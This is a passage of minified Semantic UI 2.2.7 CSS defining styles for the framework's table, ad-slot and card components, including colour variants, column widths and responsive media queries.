th:first-child{font-weight:700}.ui.definition.table:not(.unstackable) thead th:first-child{box-shadow:none!important}}.ui.table td .image,.ui.table td .image img,.ui.table th .image,.ui.table th .image img{max-width:none}.ui.structured.table{border-collapse:collapse}.ui.structured.table thead th{border-left:none;border-right:none}.ui.structured.sortable.table thead th{border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(34,36,38,.15)}.ui.structured.basic.table th{border-left:none;border-right:none}.ui.structured.celled.table tr td,.ui.structured.celled.table tr th{border-left:1px solid rgba(34,36,38,.1);border-right:1px solid rgba(34,36,38,.1)}.ui.definition.table thead:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:400;color:rgba(0,0,0,.4);box-shadow:-1px -1px 0 1px #fff}.ui.definition.table tfoot:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:rgba(0,0,0,.4);color:normal;box-shadow:1px 1px 0 1px #fff}.ui.celled.definition.table thead:not(.full-width) th:first-child{box-shadow:0 -1px 0 1px #fff}.ui.celled.definition.table tfoot:not(.full-width) th:first-child{box-shadow:0 1px 0 1px #fff}.ui.definition.table tr td.definition,.ui.definition.table tr td:first-child:not(.ignored){background:rgba(0,0,0,.03);font-weight:700;color:rgba(0,0,0,.95);text-transform:'';box-shadow:'';text-align:'';font-size:1em;padding-left:'';padding-right:''}.ui.definition.table thead:not(.full-width) th:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.definition.table tfoot:not(.full-width) th:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.definition.table td:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.table td.positive,.ui.table tr.positive{box-shadow:0 0 0 #a3c293 inset}.ui.table td.positive,.ui.table tr.positive{background:#fcfff5!important;color:#2c662d!important}.ui.table td.negative,.ui.table tr.negative{box-shadow:0 0 0 #e0b4b4 inset}.ui.table td.negative,.ui.table tr.negative{background:#fff6f6!important;color:#9f3a38!important}.ui.table td.error,.ui.table tr.error{box-shadow:0 0 0 #e0b4b4 inset}.ui.table td.error,.ui.table tr.error{background:#fff6f6!important;color:#9f3a38!important}.ui.table td.warning,.ui.table tr.warning{box-shadow:0 0 0 #c9ba9b inset}.ui.table td.warning,.ui.table tr.warning{background:#fffaf3!important;color:#573a08!important}.ui.table td.active,.ui.table tr.active{box-shadow:0 0 0 rgba(0,0,0,.87) inset}.ui.table td.active,.ui.table tr.active{background:#e0e0e0!important;color:rgba(0,0,0,.87)!important}.ui.table tr td.disabled,.ui.table tr.disabled td,.ui.table tr.disabled:hover,.ui.table tr:hover td.disabled{pointer-events:none;color:rgba(40,40,40,.3)}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].table,.ui[class*="tablet stackable"].table tbody,.ui[class*="tablet stackable"].table tr,.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{width:100%!important;display:block!important}.ui[class*="tablet stackable"].table{padding:0}.ui[class*="tablet stackable"].table thead{display:block}.ui[class*="tablet stackable"].table tfoot{display:block}.ui[class*="tablet stackable"].table tr{padding-top:1em;padding-bottom:1em;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{background:0 0;border:none!important;padding:.25em .75em;box-shadow:none!important}.ui.definition[class*="tablet stackable"].table thead th:first-child{box-shadow:none!important}}.ui.table [class*="left aligned"],.ui.table[class*="left aligned"]{text-align:left}.ui.table [class*="center aligned"],.ui.table[class*="center aligned"]{text-align:center}.ui.table [class*="right aligned"],.ui.table[class*="right aligned"]{text-align:right}.ui.table [class*="top aligned"],.ui.table[class*="top aligned"]{vertical-align:top}.ui.table [class*="middle aligned"],.ui.table[class*="middle aligned"]{vertical-align:middle}.ui.table [class*="bottom aligned"],.ui.table[class*="bottom aligned"]{vertical-align:bottom}.ui.table td.collapsing,.ui.table th.collapsing{width:1px;white-space:nowrap}.ui.fixed.table{table-layout:fixed}.ui.fixed.table td,.ui.fixed.table th{overflow:hidden;text-overflow:ellipsis}.ui.selectable.table tbody tr:hover,.ui.table tbody tr td.selectable:hover{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.inverted.table tbody tr td.selectable:hover,.ui.selectable.inverted.table tbody tr:hover{background:rgba(255,255,255,.08)!important;color:#fff!important}.ui.table tbody tr td.selectable{padding:0}.ui.table tbody tr td.selectable>a:not(.ui){display:block;color:inherit;padding:.78571429em .78571429em}.ui.selectable.table tr.error:hover,.ui.selectable.table tr:hover td.error,.ui.table tr td.selectable.error:hover{background:#ffe7e7!important;color:#943634!important}.ui.selectable.table tr.warning:hover,.ui.selectable.table tr:hover td.warning,.ui.table tr td.selectable.warning:hover{background:#fff4e4!important;color:#493107!important}.ui.selectable.table tr.active:hover,.ui.selectable.table tr:hover td.active,.ui.table tr td.selectable.active:hover{background:#e0e0e0!important;color:rgba(0,0,0,.87)!important}.ui.selectable.table tr.positive:hover,.ui.selectable.table tr:hover td.positive,.ui.table tr td.selectable.positive:hover{background:#f7ffe6!important;color:#275b28!important}.ui.selectable.table tr.negative:hover,.ui.selectable.table tr:hover td.negative,.ui.table tr td.selectable.negative:hover{background:#ffe7e7!important;color:#943634!important}.ui.attached.table{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none;border:1px solid #d4d4d5}.ui.attached+.ui.attached.table:not(.top){border-top:none}.ui[class*="top attached"].table{bottom:0;margin-bottom:0;top:0;margin-top:1em;border-radius:.28571429rem .28571429rem 0 0}.ui.table[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].table{bottom:0;margin-top:0;top:0;margin-bottom:1em;box-shadow:none,none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].table:last-child{margin-bottom:0}.ui.striped.table tbody tr:nth-child(2n),.ui.striped.table>tr:nth-child(2n){background-color:rgba(0,0,50,.02)}.ui.inverted.striped.table tbody tr:nth-child(2n),.ui.inverted.striped.table>tr:nth-child(2n){background-color:rgba(255,255,255,.05)}.ui.striped.selectable.selectable.selectable.table tbody tr.active:hover{background:#efefef!important;color:rgba(0,0,0,.95)!important}.ui.table [class*="single line"],.ui.table[class*="single line"]{white-space:nowrap}.ui.table [class*="single line"],.ui.table[class*="single line"]{white-space:nowrap}.ui.red.table{border-top:.2em solid #db2828}.ui.inverted.red.table{background-color:#db2828!important;color:#fff!important}.ui.orange.table{border-top:.2em solid #f2711c}.ui.inverted.orange.table{background-color:#f2711c!important;color:#fff!important}.ui.yellow.table{border-top:.2em solid #fbbd08}.ui.inverted.yellow.table{background-color:#fbbd08!important;color:#fff!important}.ui.olive.table{border-top:.2em solid #b5cc18}.ui.inverted.olive.table{background-color:#b5cc18!important;color:#fff!important}.ui.green.table{border-top:.2em solid #21ba45}.ui.inverted.green.table{background-color:#21ba45!important;color:#fff!important}.ui.teal.table{border-top:.2em solid #00b5ad}.ui.inverted.teal.table{background-color:#00b5ad!important;color:#fff!important}.ui.blue.table{border-top:.2em solid #2185d0}.ui.inverted.blue.table{background-color:#2185d0!important;color:#fff!important}.ui.violet.table{border-top:.2em solid #6435c9}.ui.inverted.violet.table{background-color:#6435c9!important;color:#fff!important}.ui.purple.table{border-top:.2em solid #a333c8}.ui.inverted.purple.table{background-color:#a333c8!important;color:#fff!important}.ui.pink.table{border-top:.2em solid #e03997}.ui.inverted.pink.table{background-color:#e03997!important;color:#fff!important}.ui.brown.table{border-top:.2em solid #a5673f}.ui.inverted.brown.table{background-color:#a5673f!important;color:#fff!important}.ui.grey.table{border-top:.2em solid #767676}.ui.inverted.grey.table{background-color:#767676!important;color:#fff!important}.ui.black.table{border-top:.2em solid #1b1c1d}.ui.inverted.black.table{background-color:#1b1c1d!important;color:#fff!important}.ui.one.column.table td{width:100%}.ui.two.column.table td{width:50%}.ui.three.column.table td{width:33.33333333%}.ui.four.column.table td{width:25%}.ui.five.column.table td{width:20%}.ui.six.column.table td{width:16.66666667%}.ui.seven.column.table td{width:14.28571429%}.ui.eight.column.table td{width:12.5%}.ui.nine.column.table td{width:11.11111111%}.ui.ten.column.table td{width:10%}.ui.eleven.column.table td{width:9.09090909%}.ui.twelve.column.table td{width:8.33333333%}.ui.thirteen.column.table td{width:7.69230769%}.ui.fourteen.column.table td{width:7.14285714%}.ui.fifteen.column.table td{width:6.66666667%}.ui.sixteen.column.table td{width:6.25%}.ui.table td.one.wide,.ui.table th.one.wide{width:6.25%}.ui.table td.two.wide,.ui.table th.two.wide{width:12.5%}.ui.table td.three.wide,.ui.table th.three.wide{width:18.75%}.ui.table td.four.wide,.ui.table th.four.wide{width:25%}.ui.table td.five.wide,.ui.table th.five.wide{width:31.25%}.ui.table td.six.wide,.ui.table th.six.wide{width:37.5%}.ui.table td.seven.wide,.ui.table th.seven.wide{width:43.75%}.ui.table td.eight.wide,.ui.table th.eight.wide{width:50%}.ui.table td.nine.wide,.ui.table th.nine.wide{width:56.25%}.ui.table td.ten.wide,.ui.table th.ten.wide{width:62.5%}.ui.table td.eleven.wide,.ui.table th.eleven.wide{width:68.75%}.ui.table td.twelve.wide,.ui.table th.twelve.wide{width:75%}.ui.table td.thirteen.wide,.ui.table th.thirteen.wide{width:81.25%}.ui.table td.fourteen.wide,.ui.table th.fourteen.wide{width:87.5%}.ui.table td.fifteen.wide,.ui.table th.fifteen.wide{width:93.75%}.ui.table td.sixteen.wide,.ui.table th.sixteen.wide{width:100%}.ui.sortable.table thead th{cursor:pointer;white-space:nowrap;border-left:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87)}.ui.sortable.table thead th:first-child{border-left:none}.ui.sortable.table thead th.sorted,.ui.sortable.table thead th.sorted:hover{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.sortable.table thead th:after{display:none;font-style:normal;font-weight:400;text-decoration:inherit;content:'';height:1em;width:auto;opacity:.8;margin:0 0 0 .5em;font-family:Icons}.ui.sortable.table thead th.ascending:after{content:'\f0d8'}.ui.sortable.table thead th.descending:after{content:'\f0d7'}.ui.sortable.table th.disabled:hover{cursor:auto;color:rgba(40,40,40,.3)}.ui.sortable.table thead th:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.8)}.ui.sortable.table thead th.sorted{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.sortable.table thead th.sorted:after{display:inline-block}.ui.sortable.table thead th.sorted:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.sortable.table thead th.sorted{background:rgba(255,255,255,.15) -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:rgba(255,255,255,.15) linear-gradient(transparent,rgba(0,0,0,.05));color:#fff}.ui.inverted.sortable.table thead th:hover{background:rgba(255,255,255,.08) -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:rgba(255,255,255,.08) linear-gradient(transparent,rgba(0,0,0,.05));color:#fff}.ui.inverted.sortable.table thead th{border-left-color:transparent;border-right-color:transparent}.ui.inverted.table{background:#333;color:rgba(255,255,255,.9);border:none}.ui.inverted.table th{background-color:rgba(0,0,0,.15);border-color:rgba(255,255,255,.1)!important;color:rgba(255,255,255,.9)}.ui.inverted.table tr td{border-color:rgba(255,255,255,.1)!important}.ui.inverted.table tr td.disabled,.ui.inverted.table tr.disabled td,.ui.inverted.table tr.disabled:hover td,.ui.inverted.table tr:hover td.disabled{pointer-events:none;color:rgba(225,225,225,.3)}.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,.ui.inverted.definition.table thead:not(.full-width) th:first-child{background:#fff}.ui.inverted.definition.table tr td:first-child{background:rgba(255,255,255,.02);color:#fff}.ui.collapsing.table{width:auto}.ui.basic.table{background:0 0;border:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.table tfoot,.ui.basic.table thead{box-shadow:none}.ui.basic.table th{background:0 0;border-left:none}.ui.basic.table tbody tr{border-bottom:1px solid rgba(0,0,0,.1)}.ui.basic.table td{background:0 0}.ui.basic.striped.table tbody tr:nth-child(2n){background-color:rgba(0,0,0,.05)!important}.ui[class*="very basic"].table{border:none}.ui[class*="very basic"].table:not(.sortable):not(.striped) td,.ui[class*="very basic"].table:not(.sortable):not(.striped) th{padding:''}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:first-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) th:first-child{padding-left:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:last-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) th:last-child{padding-right:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) thead tr:first-child th{padding-top:0}.ui.celled.table tr td,.ui.celled.table tr th{border-left:1px solid rgba(34,36,38,.1)}.ui.celled.table tr td:first-child,.ui.celled.table tr th:first-child{border-left:none}.ui.padded.table th{padding-left:1em;padding-right:1em}.ui.padded.table td,.ui.padded.table th{padding:1em 1em}.ui[class*="very padded"].table th{padding-left:1.5em;padding-right:1.5em}.ui[class*="very padded"].table td{padding:1.5em 1.5em}.ui.compact.table th{padding-left:.7em;padding-right:.7em}.ui.compact.table td{padding:.5em .7em}.ui[class*="very compact"].table th{padding-left:.6em;padding-right:.6em}.ui[class*="very compact"].table td{padding:.4em .6em}.ui.small.table{font-size:.9em}.ui.table{font-size:1em}.ui.large.table{font-size:1.1em}/*! * # Semantic UI 2.2.7 - Ad * path_to_url * * * Released under the MIT license * path_to_url * */.ui.ad{display:block;overflow:hidden;margin:1em 0}.ui.ad:first-child{margin:0}.ui.ad:last-child{margin:0}.ui.ad iframe{margin:0;padding:0;border:none;overflow:hidden}.ui.leaderboard.ad{width:728px;height:90px}.ui[class*="medium rectangle"].ad{width:300px;height:250px}.ui[class*="large rectangle"].ad{width:336px;height:280px}.ui[class*="half page"].ad{width:300px;height:600px}.ui.square.ad{width:250px;height:250px}.ui[class*="small square"].ad{width:200px;height:200px}.ui[class*="small rectangle"].ad{width:180px;height:150px}.ui[class*="vertical rectangle"].ad{width:240px;height:400px}.ui.button.ad{width:120px;height:90px}.ui[class*="square button"].ad{width:125px;height:125px}.ui[class*="small button"].ad{width:120px;height:60px}.ui.skyscraper.ad{width:120px;height:600px}.ui[class*="wide skyscraper"].ad{width:160px}.ui.banner.ad{width:468px;height:60px}.ui[class*="vertical banner"].ad{width:120px;height:240px}.ui[class*="top banner"].ad{width:930px;height:180px}.ui[class*="half banner"].ad{width:234px;height:60px}.ui[class*="large leaderboard"].ad{width:970px;height:90px}.ui.billboard.ad{width:970px;height:250px}.ui.panorama.ad{width:980px;height:120px}.ui.netboard.ad{width:580px;height:400px}.ui[class*="large mobile banner"].ad{width:320px;height:100px}.ui[class*="mobile leaderboard"].ad{width:320px;height:50px}.ui.mobile.ad{display:none}@media only screen and (max-width:767px){.ui.mobile.ad{display:block}}.ui.centered.ad{margin-left:auto;margin-right:auto}.ui.test.ad{position:relative;background:#545454}.ui.test.ad:after{position:absolute;top:50%;left:50%;width:100%;text-align:center;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);content:'Ad';color:#fff;font-size:1em;font-weight:700}.ui.mobile.test.ad:after{font-size:.85714286em}.ui.test.ad[data-text]:after{content:attr(data-text)}/*! * # Semantic UI 2.2.7 - Item * path_to_url * * * Released under the MIT license * path_to_url * */.ui.card,.ui.cards>.card{max-width:100%;position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:290px;min-height:0;background:#fff;padding:0;border:none;border-radius:.28571429rem;box-shadow:0 1px 3px 0 #d4d4d5,0 0 0 1px #d4d4d5;-webkit-transition:box-shadow .1s ease,-webkit-transform .1s ease;transition:box-shadow .1s ease,-webkit-transform .1s ease;transition:box-shadow .1s ease,transform .1s ease;transition:box-shadow .1s ease,transform .1s ease,-webkit-transform .1s ease;z-index:''}.ui.card{margin:1em 0}.ui.card a,.ui.cards>.card a{cursor:pointer}.ui.card:first-child{margin-top:0}.ui.card:last-child{margin-bottom:0}.ui.cards{display:-webkit-box;display:-ms-flexbox;display:flex;margin:-.875em -.5em;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.cards>.card{display:-webkit-box;display:-ms-flexbox;display:flex;margin:.875em .5em;float:none}.ui.card:after,.ui.cards:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.cards~.ui.cards{margin-top:.875em}.ui.card>:first-child,.ui.cards>.card>:first-child{border-radius:.28571429rem .28571429rem 0 0!important;border-top:none!important}.ui.card>:last-child,.ui.cards>.card>:last-child{border-radius:0 0 .28571429rem .28571429rem!important}.ui.card>:only-child,.ui.cards>.card>:only-child{border-radius:.28571429rem!important}.ui.card>.image,.ui.cards>.card>.image{position:relative;display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;padding:0;background:rgba(0,0,0,.05)}.ui.card>.image>img,.ui.cards>.card>.image>img{display:block;width:100%;height:auto;border-radius:inherit}.ui.card>.image:not(.ui)>img,.ui.cards>.card>.image:not(.ui)>img{border:none}.ui.card>.content,.ui.cards>.card>.content{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;border:none;border-top:1px solid rgba(34,36,38,.1);background:0 0;margin:0;padding:1em 1em;box-shadow:none;font-size:1em;border-radius:0}.ui.card>.content:after,.ui.cards>.card>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.card>.content>.header,.ui.cards>.card>.content>.header{display:block;margin:'';font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;color:rgba(0,0,0,.85)}.ui.card>.content>.header:not(.ui),.ui.cards>.card>.content>.header:not(.ui){font-weight:700;font-size:1.28571429em;margin-top:-.21425em;line-height:1.2857em}.ui.card>.content>.header+.description,.ui.card>.content>.meta+.description,.ui.cards>.card>.content>.header+.description,.ui.cards>.card>.content>.meta+.description{margin-top:.5em}.ui.card [class*="left floated"],.ui.cards>.card [class*="left floated"]{float:left}.ui.card [class*="right floated"],.ui.cards>.card [class*="right floated"]{float:right}.ui.card [class*="left aligned"],.ui.cards>.card [class*="left aligned"]{text-align:left}.ui.card [class*="center aligned"],.ui.cards>.card [class*="center aligned"]{text-align:center}.ui.card [class*="right aligned"],.ui.cards>.card [class*="right aligned"]{text-align:right}.ui.card .content img,.ui.cards>.card .content img{display:inline-block;vertical-align:middle;width:''}.ui.card .avatar img,.ui.card img.avatar,.ui.cards>.card .avatar img,.ui.cards>.card img.avatar{width:2em;height:2em;border-radius:500rem}.ui.card>.content>.description,.ui.cards>.card>.content>.description{clear:both;color:rgba(0,0,0,.68)}.ui.card>.content p,.ui.cards>.card>.content p{margin:0 0 .5em}.ui.card>.content p:last-child,.ui.cards>.card>.content p:last-child{margin-bottom:0}.ui.card .meta,.ui.cards>.card .meta{font-size:1em;color:rgba(0,0,0,.4)}.ui.card .meta *,.ui.cards>.card .meta *{margin-right:.3em}.ui.card .meta :last-child,.ui.cards>.card .meta :last-child{margin-right:0}.ui.card .meta [class*="right floated"],.ui.cards>.card .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.card>.content a:not(.ui),.ui.cards>.card>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content a:not(.ui):hover,.ui.cards>.card>.content a:not(.ui):hover{color:''}.ui.card>.content>a.header,.ui.cards>.card>.content>a.header{color:rgba(0,0,0,.85)}.ui.card>.content>a.header:hover,.ui.cards>.card>.content>a.header:hover{color:#1e70bf}.ui.card .meta>a:not(.ui),.ui.cards>.card .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.card .meta>a:not(.ui):hover,.ui.cards>.card .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.card>.button,.ui.card>.buttons,.ui.cards>.card>.button,.ui.cards>.card>.buttons{margin:0 -1px;width:calc(100% + 2px)}.ui.card .dimmer,.ui.cards>.card .dimmer{background-color:'';z-index:10}.ui.card>.content .star.icon,.ui.cards>.card>.content .star.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .star.icon:hover,.ui.cards>.card>.content .star.icon:hover{opacity:1;color:#ffb70a}.ui.card>.content .active.star.icon,.ui.cards>.card>.content .active.star.icon{color:#ffe623}.ui.card>.content .like.icon,.ui.cards>.card>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .like.icon:hover,.ui.cards>.card>.content .like.icon:hover{opacity:1;color:#ff2733}.ui.card>.content .active.like.icon,.ui.cards>.card>.content .active.like.icon{color:#ff2733}.ui.card>.extra,.ui.cards>.card>.extra{max-width:100%;min-height:0!important;-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;border-top:1px solid rgba(0,0,0,.05)!important;position:static;background:0 0;width:auto;margin:0 0;padding:.75em 1em;top:0;left:0;color:rgba(0,0,0,.4);box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.extra a:not(.ui),.ui.cards>.card>.extra a:not(.ui){color:rgba(0,0,0,.4)}.ui.card>.extra a:not(.ui):hover,.ui.cards>.card>.extra a:not(.ui):hover{color:#1e70bf}.ui.raised.card,.ui.raised.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.link.cards .raised.card:hover,.ui.link.raised.card:hover,.ui.raised.cards a.card:hover,a.ui.raised.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.15),0 2px 10px 0 rgba(34,36,38,.25)}.ui.raised.card,.ui.raised.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.centered.cards{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.centered.card{margin-left:auto;margin-right:auto}.ui.fluid.card{width:100%;max-width:9999px}.ui.cards a.card,.ui.link.card,.ui.link.cards .card,a.ui.card{-webkit-transform:none;transform:none}.ui.cards a.card:hover,.ui.link.card:hover,.ui.link.cards .card:hover,a.ui.card:hover{cursor:pointer;z-index:5;background:#fff;border:none;box-shadow:0 1px 3px 0 #bcbdbd,0 0 0 1px #d4d4d5;-webkit-transform:translateY(-3px);transform:translateY(-3px)}.ui.cards>.red.card,.ui.red.card,.ui.red.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #db2828,0 1px 3px 0 #d4d4d5}.ui.cards>.red.card:hover,.ui.red.card:hover,.ui.red.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #d01919,0 1px 3px 0 #bcbdbd}.ui.cards>.orange.card,.ui.orange.card,.ui.orange.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f2711c,0 1px 3px 0 #d4d4d5}.ui.cards>.orange.card:hover,.ui.orange.card:hover,.ui.orange.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #f26202,0 1px 3px 0 #bcbdbd}.ui.cards>.yellow.card,.ui.yellow.card,.ui.yellow.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #fbbd08,0 1px 3px 0 #d4d4d5}.ui.cards>.yellow.card:hover,.ui.yellow.card:hover,.ui.yellow.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #eaae00,0 1px 3px 0 #bcbdbd}.ui.cards>.olive.card,.ui.olive.card,.ui.olive.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #b5cc18,0 1px 3px 0 #d4d4d5}.ui.cards>.olive.card:hover,.ui.olive.card:hover,.ui.olive.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a7bd0d,0 1px 3px 0 #bcbdbd}.ui.cards>.green.card,.ui.green.card,.ui.green.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #21ba45,0 1px 3px 0 #d4d4d5}.ui.cards>.green.card:hover,.ui.green.card:hover,.ui.green.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #16ab39,0 1px 3px 0 #bcbdbd}.ui.cards>.teal.card,.ui.teal.card,.ui.teal.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #00b5ad,0 1px 3px 0 #d4d4d5}.ui.cards>.teal.card:hover,.ui.teal.card:hover,.ui.teal.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #009c95,0 1px 3px 0 #bcbdbd}.ui.blue.card,.ui.blue.cards>.card,.ui.cards>.blue.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #2185d0,0 1px 3px 0 #d4d4d5}.ui.blue.card:hover,.ui.blue.cards>.card:hover,.ui.cards>.blue.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1678c2,0 1px 3px 0 #bcbdbd}.ui.cards>.violet.card,.ui.violet.card,.ui.violet.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #6435c9,0 1px 3px 0 #d4d4d5}.ui.cards>.violet.card:hover,.ui.violet.card:hover,.ui.violet.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #5829bb,0 1px 3px 0 #bcbdbd}.ui.cards>.purple.card,.ui.purple.card,.ui.purple.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a333c8,0 1px 3px 0 #d4d4d5}.ui.cards>.purple.card:hover,.ui.purple.card:hover,.ui.purple.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #9627ba,0 1px 3px 0 #bcbdbd}.ui.cards>.pink.card,.ui.pink.card,.ui.pink.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e03997,0 1px 3px 0 #d4d4d5}.ui.cards>.pink.card:hover,.ui.pink.card:hover,.ui.pink.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #e61a8d,0 1px 3px 0 #bcbdbd}.ui.brown.card,.ui.brown.cards>.card,.ui.cards>.brown.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #a5673f,0 1px 3px 0 #d4d4d5}.ui.brown.card:hover,.ui.brown.cards>.card:hover,.ui.cards>.brown.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #975b33,0 1px 3px 0 #bcbdbd}.ui.cards>.grey.card,.ui.grey.card,.ui.grey.cards>.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #767676,0 1px 3px 0 #d4d4d5}.ui.cards>.grey.card:hover,.ui.grey.card:hover,.ui.grey.cards>.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #838383,0 1px 3px 0 #bcbdbd}.ui.black.card,.ui.black.cards>.card,.ui.cards>.black.card{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #1b1c1d,0 1px 3px 0 #d4d4d5}.ui.black.card:hover,.ui.black.cards>.card:hover,.ui.cards>.black.card:hover{box-shadow:0 0 0 1px #d4d4d5,0 2px 0 0 #27292a,0 1px 3px 0 #bcbdbd}.ui.one.cards{margin-left:0;margin-right:0}.ui.one.cards>.card{width:100%}.ui.two.cards{margin-left:-1em;margin-right:-1em}.ui.two.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.three.cards{margin-left:-1em;margin-right:-1em}.ui.three.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.four.cards{margin-left:-.75em;margin-right:-.75em}.ui.four.cards>.card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.five.cards{margin-left:-.75em;margin-right:-.75em}.ui.five.cards>.card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.six.cards{margin-left:-.75em;margin-right:-.75em}.ui.six.cards>.card{width:calc(16.66666667% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.seven.cards{margin-left:-.5em;margin-right:-.5em}.ui.seven.cards>.card{width:calc(14.28571429% - 1em);margin-left:.5em;margin-right:.5em}.ui.eight.cards{margin-left:-.5em;margin-right:-.5em}.ui.eight.cards>.card{width:calc(12.5% - 1em);margin-left:.5em;margin-right:.5em;font-size:11px}.ui.nine.cards{margin-left:-.5em;margin-right:-.5em}.ui.nine.cards>.card{width:calc(11.11111111% - 1em);margin-left:.5em;margin-right:.5em;font-size:10px}.ui.ten.cards{margin-left:-.5em;margin-right:-.5em}.ui.ten.cards>.card{width:calc(10% - 1em);margin-left:.5em;margin-right:.5em}@media only screen and (max-width:767px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards .card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.seven.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.seven.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.eight.doubling.cards .card{width:calc(33.33333333% - 